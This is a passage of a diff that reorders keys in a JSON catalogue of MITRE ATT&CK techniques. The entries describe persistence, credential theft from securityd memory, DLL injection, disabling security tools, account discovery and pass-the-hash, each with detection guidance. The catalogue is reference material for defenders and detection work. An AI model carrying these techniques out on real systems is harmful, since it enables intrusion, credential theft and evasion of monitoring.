+ },
+ "value": "Create Account"
},
{
"description": "Collected data is staged in a central location or directory prior to Data Compressed or Data Encrypted.\n\nInteractive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.\n\nDetection: Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters",
- "value": "Data Staged",
"meta": {
"mitre_data_sources": [
"File monitoring",
"Process monitoring",
"Process command-line parameters"
],
- "uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1074"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -1075,64 +1076,62 @@
"Linux",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1074"
+ ],
+ "uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e"
+ },
+ "value": "Data Staged"
},
{
"description": "During the boot process, macOS and Linux both execute source /etc/rc.common, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts[[Citation: Startup Items]]. In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.\n\nAdversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user[[Citation: Methods of Mac Malware Persistence]].\n\nDetection: The /etc/rc.common file can be monitored to detect changes from the company policy. Monitor process execution resulting from the rc.common script for unusual or unknown applications or behavior.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring",
- "value": "Rc.common",
"meta": {
"mitre_data_sources": [
"File monitoring",
"Process Monitoring"
],
- "uuid": "5910567d-e430-41f7-b465-f1419449b462",
+ "mitre_platforms": [
+ "Linux",
+ "MacOS",
+ "OS X"
+ ],
"refs": [
"https://attack.mitre.org/wiki/Technique/T1163",
"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html",
"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
],
- "mitre_platforms": [
- "Linux",
- "MacOS",
- "OS X"
- ]
- }
+ "uuid": "5910567d-e430-41f7-b465-f1419449b462"
+ },
+ "value": "Rc.common"
},
{
"description": "In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords.[[Citation: OS X Keychain]][[Citation: External to DA, the OS X Way]] Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password.[[Citation: OS X Keychain]]\n\nIf an adversary can obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc.[[Citation: OS X Keychain]][[Citation: OSX Keydnap malware]]\n\nPlatforms: OS X\n\nData Sources: Process Monitoring",
- "value": "Securityd Memory",
"meta": {
"mitre_data_sources": [
"Process Monitoring"
],
- "uuid": "6ebe5b09-ff7d-48c8-96d3-8a9429ba5d48",
+ "mitre_platforms": [
+ "OS X"
+ ],
"refs": [
"https://attack.mitre.org/wiki/Technique/T1167",
"https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/",
"http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way",
"http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain"
],
- "mitre_platforms": [
- "OS X"
- ]
- }
+ "uuid": "6ebe5b09-ff7d-48c8-96d3-8a9429ba5d48"
+ },
+ "value": "Securityd Memory"
},
{
"description": "When operating systems boot up, they can start programs or applications called services that perform background system functions.Masquerading. Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through Service Execution.\n\nDetection: Monitor service creation through changes in the Registry and common utilities using command-line invocation. New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, Process monitoring, Process command-line parameters\n\nEffective Permissions: SYSTEM",
- "value": "New Service",
"meta": {
"mitre_data_sources": [
"Windows Registry",
"Process monitoring",
"Process command-line parameters"
],
- "uuid": "478aa214-2ca7-4ec0-9978-18798e514790",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1050",
- "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "https://technet.microsoft.com/en-us/library/cc772408.aspx"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -1146,12 +1145,18 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1050",
+ "https://technet.microsoft.com/en-us/sysinternals/bb963902",
+ "https://technet.microsoft.com/en-us/library/cc772408.aspx"
+ ],
+ "uuid": "478aa214-2ca7-4ec0-9978-18798e514790"
+ },
+ "value": "New Service"
},
{
"description": "Windows shared drive and Windows Admin Shares connections can be removed when no longer needed. Net is an example utility that can be used to remove network share connections with the net use \\\\system\\share /delete command.Windows Admin Shares. SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, Process command-line parameters, Packet capture, Authentication logs",
- "value": "Network Share Connection Removal",
"meta": {
"mitre_data_sources": [
"Process monitoring",
@@ -1159,11 +1164,6 @@
"Packet capture",
"Authentication logs"
],
- "uuid": "e7eab98d-ae11-4491-bd28-a53ba875865a",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1126",
- "https://technet.microsoft.com/bb490717.aspx"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -1177,12 +1177,17 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1126",
+ "https://technet.microsoft.com/bb490717.aspx"
+ ],
+ "uuid": "e7eab98d-ae11-4491-bd28-a53ba875865a"
+ },
+ "value": "Network Share Connection Removal"
},
{
"description": "DLL injection is used to run code in the context of another process by causing the other process to load and execute code. Running code in the context of another process provides adversaries many benefits, such as access to the process's memory and permissions. It also allows adversaries to mask their actions under a legitimate process. A more sophisticated kind of DLL injection, reflective DLL injection, loads code without calling the normal Windows API calls, potentially bypassing DLL load monitoring. Numerous methods of DLL injection exist on Windows, including modifying the Registry, creating remote threads, Windows hooking APIs, and DLL pre-loading.PowerShell with tools such as PowerSploit,[[Citation: Powersploit]] so additional PowerShell monitoring may be required to cover known implementations of this behavior.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: API monitoring, Windows Registry, File monitoring, Process monitoring\n\nEffective Permissions: User, Administrator, SYSTEM",
- "value": "DLL Injection",
"meta": {
"mitre_data_sources": [
"API monitoring",
@@ -1190,13 +1195,6 @@
"File monitoring",
"Process monitoring"
],
- "uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1055",
- "http://www.codeproject.com/Articles/4610/Three-Ways-to-Inject-Your-Code-into-Another-Proces",
- "http://en.wikipedia.org/wiki/DLL%20injection",
- "https://github.com/mattifestation/PowerSploit"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -1210,25 +1208,25 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1055",
+ "http://www.codeproject.com/Articles/4610/Three-Ways-to-Inject-Your-Code-into-Another-Proces",
+ "http://en.wikipedia.org/wiki/DLL%20injection",
+ "https://github.com/mattifestation/PowerSploit"
+ ],
+ "uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d"
+ },
+ "value": "DLL Injection"
},
{
"description": "To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS).\n\n===Windows===\n\nUsers can mark specific files as hidden by using the attrib.exe binary. Simply do attrib +h filename to mark a file or folder as hidden. Similarly, the “+s” marks a file as a system file and the “+r” flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively “/S”.\n\n===Linux/Mac===\n\nUsers can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name [[Citation: Sofacy Komplex Trojan]][[Citation: Antiquated Mac Malware]]. Files and folder that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: defaults write com.apple.finder AppleShowAllFiles YES, and then relaunch the Finder Application.\n\n===Mac===\n\nFiles on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app[[Citation: WireLurker]].\nMany applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys. \n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.\n\nDetection: Monitor the file system and shell commands for files being created with a leading \".\" and the Windows command-line use of attrib.exe to add the hidden attribute.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters",
- "value": "Hidden Files and Directories",
"meta": {
"mitre_data_sources": [
"File monitoring",
"Process Monitoring",
"Process command-line parameters"
],
- "uuid": "ee44bd9f-2ab5-4f3b-93cd-20f30cbc63b9",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1158",
- "https://www.paloaltonetworks.com/content/dam/pan/en%20US/assets/pdf/reports/Unit%2042/unit42-wirelurker.pdf",
- "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/",
- "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -1245,25 +1243,25 @@
"Windows 10",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1158",
+ "https://www.paloaltonetworks.com/content/dam/pan/en%20US/assets/pdf/reports/Unit%2042/unit42-wirelurker.pdf",
+ "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/",
+ "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
+ ],
+ "uuid": "ee44bd9f-2ab5-4f3b-93cd-20f30cbc63b9"
+ },
+ "value": "Hidden Files and Directories"
},
{
"description": "Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.[[Citation: MSDN Authentication Packages]]\n\nAdversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ with the key value of \"Authentication Packages\"=. The binary will then be executed by the system when the authentication packages are loaded.\n\nDetection: Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe with AuditLevel = 8.[[Citation: Graeber 2014]][[Citation: Microsoft Configure LSA]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: DLL monitoring, Windows Registry, Loaded DLLs",
- "value": "Authentication Package",
"meta": {
"mitre_data_sources": [
"DLL monitoring",
"Windows Registry",
"Loaded DLLs"
],
- "uuid": "52d40641-c480-4ad5-81a3-c80ccaddf82d",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1131",
- "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx",
- "https://technet.microsoft.com/en-us/library/dn408187.aspx",
- "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -1277,12 +1275,19 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1131",
+ "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx",
+ "https://technet.microsoft.com/en-us/library/dn408187.aspx",
+ "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html"
+ ],
+ "uuid": "52d40641-c480-4ad5-81a3-c80ccaddf82d"
+ },
+ "value": "Authentication Package"
},
{
"description": "An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.\n\nDetection: If malware uses Standard Cryptographic Protocol, SSL/TLS inspection can be used to detect command and control traffic within some encrypted communication channels.Custom Cryptographic Protocol, if malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures.[[Citation: Fidelis DarkComet]]\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Process use of network, Malware reverse engineering, Process monitoring",
- "value": "Multilayer Encryption",
"meta": {
"mitre_data_sources": [
"Packet capture",
@@ -1290,14 +1295,6 @@
"Malware reverse engineering",
"Process monitoring"
],
- "uuid": "428ca9f8-0e33-442a-be87-f869cb4cf73e",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1079",
- "https://www.fidelissecurity.com/sites/default/files/FTA%201018%20looking%20at%20the%20sky%20for%20a%20dark%20comet.pdf",
- "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840",
- "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -1314,12 +1311,20 @@
"Windows 10",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1079",
+ "https://www.fidelissecurity.com/sites/default/files/FTA%201018%20looking%20at%20the%20sky%20for%20a%20dark%20comet.pdf",
+ "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840",
+ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
+ "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html"
+ ],
+ "uuid": "428ca9f8-0e33-442a-be87-f869cb4cf73e"
+ },
+ "value": "Multilayer Encryption"
},
{
"description": "Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to System Firmware but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10",
- "value": "Component Firmware",
"meta": {
"mitre_platforms": [
"Windows Server 2003",
@@ -1335,21 +1340,24 @@
"Windows 8.1",
"Windows 10"
],
- "uuid": "10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44",
"refs": [
"https://attack.mitre.org/wiki/Technique/T1109"
- ]
- }
+ ],
+ "uuid": "10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44"
+ },
+ "value": "Component Firmware"
},
{
"description": "Per Apple’s developer documentation, there are two supported methods for creating periodic background jobs: launchd and cron[[Citation: AppleDocs Scheduling Timed Jobs]].\n\n===Launchd===\n\nEach Launchd job is described by a different configuration property list (plist) file similar to Launch Daemons or Launch Agents, except there is an additional key called StartCalendarInterval with a dictionary of time values [[Citation: AppleDocs Scheduling Timed Jobs]]. This only works on macOS and OS X.\n\n===cron===\n\nSystem-wide cron jobs are installed by modifying /etc/crontab while per-user cron jobs are installed using crontab with specifically formatted crontab files [[Citation: AppleDocs Scheduling Timed Jobs]]. This works on Mac and Linux systems.\n\nBoth methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence[[Citation: Janicab]][[Citation: Methods of Mac Malware Persistence]][[Citation: Malware Persistence on OS X]], to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.\n\nDetection: Legitimate scheduled jobs may be created during installation of new software or through administration functions. Tasks scheduled with launchd and cron can be monitored from their respective utilities to list out detailed information about the jobs. Monitor process execution resulting from launchd and cron tasks to look for unusual or unknown applications and behavior.\n\nPlatforms: Linux, MacOS\n\nData Sources: File monitoring, Process Monitoring",
- "value": "Cron Job",
"meta": {
"mitre_data_sources": [
"File monitoring",
"Process Monitoring"
],
- "uuid": "03405462-89b4-4b9a-bf60-76fbd75b82a4",
+ "mitre_platforms": [
+ "Linux",
+ "MacOS"
+ ],
"refs": [
"https://attack.mitre.org/wiki/Technique/T1168",
"https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf",
@@ -1357,27 +1365,16 @@
"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html"
],
- "mitre_platforms": [
- "Linux",
- "MacOS"
- ]
- }
+ "uuid": "03405462-89b4-4b9a-bf60-76fbd75b82a4"
+ },
+ "value": "Cron Job"
},
{
"description": "Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts.[[Citation: Dell WMI Persistence]] Examples of events that may be subscribed to are the wall clock time or the computer's uptime.[[Citation: Kazanciyan 2014]] Several threat groups have reportedly used this technique to maintain persistence.[[Citation: Mandiant M-Trends 2015]]\n\nDetection: Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence.[[Citation: TechNet Autoruns]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: WMI Objects",
- "value": "Windows Management Instrumentation Event Subscription",
"meta": {
"mitre_data_sources": [
"WMI Objects"
],
- "uuid": "e906ae4d-1d3a-4675-be23-22f7311c0da4",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1084",
- "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf",
- "https://www.secureworks.com/blog/wmi-persistence",
- "https://www.defcon.org/images/defcon-22/dc-22-presentations/Kazanciyan-Hastings/DEFCON-22-Ryan-Kazanciyan-Matt-Hastings-Investigating-Powershell-Attacks.pdf"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -1391,12 +1388,20 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1084",
+ "https://technet.microsoft.com/en-us/sysinternals/bb963902",
+ "https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf",
+ "https://www.secureworks.com/blog/wmi-persistence",
+ "https://www.defcon.org/images/defcon-22/dc-22-presentations/Kazanciyan-Hastings/DEFCON-22-Ryan-Kazanciyan-Matt-Hastings-Investigating-Powershell-Attacks.pdf"
+ ],
+ "uuid": "e906ae4d-1d3a-4675-be23-22f7311c0da4"
+ },
+ "value": "Windows Management Instrumentation Event Subscription"
},
{
"description": "Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.\n\nDetection: Monitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log or event file reporting may be suspicious.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: API monitoring, File monitoring, Services, Windows Registry, Process command-line parameters, Anti-virus",
- "value": "Disabling Security Tools",
"meta": {
"mitre_data_sources": [
"API monitoring",
@@ -1406,10 +1411,6 @@
"Process command-line parameters",
"Anti-virus"
],
- "uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1089"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -1426,12 +1427,16 @@
"Linux",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1089"
+ ],
+ "uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044"
+ },
+ "value": "Disabling Security Tools"
},
{
"description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10",
- "value": "Peripheral Device Discovery",
"meta": {
"mitre_platforms": [
"Windows Server 2003",
@@ -1447,15 +1452,15 @@
"Windows 8.1",
"Windows 10"
],
- "uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643",
"refs": [
"https://attack.mitre.org/wiki/Technique/T1120"
- ]
- }
+ ],
+ "uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643"
+ },
+ "value": "Peripheral Device Discovery"
},
{
"description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.\n\nDetection: Compression software and compressed files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known compression utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used.\n\nIf the communications channel is unencrypted, compressed files can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers.[[Citation: Wikipedia File Header Signatures]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters, Binary file metadata",
- "value": "Data Compressed",
"meta": {
"mitre_data_sources": [
"File monitoring",
@@ -1463,11 +1468,6 @@
"Process command-line parameters",
"Binary file metadata"
],
- "uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1002",
- "https://en.wikipedia.org/wiki/List%20of%20file%20signatures"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -1484,22 +1484,23 @@
"Linux",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1002",
+ "https://en.wikipedia.org/wiki/List%20of%20file%20signatures"
+ ],
+ "uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4"
+ },
+ "value": "Data Compressed"
},
{
"description": "Adversaries may attempt to get a listing of local system or domain accounts. \n\n===Windows===\n\nExample commands that can acquire this information are net user, net group , and net localgroup using the Net utility or through use of dsquery. If adversaries attempt to identify the primary user, currently logged in user, or set of users that commonly uses a system, System Owner/User Discovery may apply.\n\n===Mac===\n\nOn Mac, groups can be enumerated through the groups and id commands. In mac specifically, dscl . list /Groups and dscacheutil -q group can also be used to enumerate groups and users.\n\n===Linux===\n\nOn Linux, local users can be enumerated through the use of the /etc/passwd file which is world readable. In mac, this same file is only used in single-user mode in addition to the /etc/master.passwd file.\n\nAlso, groups can be enumerated through the groups and id commands. In mac specifically, dscl . list /Groups and dscacheutil -q group can also be used to enumerate groups and users.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: API monitoring, Process monitoring, Process command-line parameters",
- "value": "Account Discovery",
"meta": {
"mitre_data_sources": [
"API monitoring",
"Process monitoring",
"Process command-line parameters"
],
- "uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1087"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -1516,22 +1517,20 @@
"Linux",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1087"
+ ],
+ "uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08"
+ },
+ "value": "Account Discovery"
},
{
"description": "Pass the hash (PtH)[[Citation: Aorato PTH]] is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a [[Credential Access]] technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. \n\nWindows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes.[[Citation: NSA Spotting]]\n\nDetection: Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs",
- "value": "Pass the Hash",
"meta": {
"mitre_data_sources": [
"Authentication logs"
],
- "uuid": "c23b740b-a42b-47a1-aec2-9d48ddd547ff",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1075",
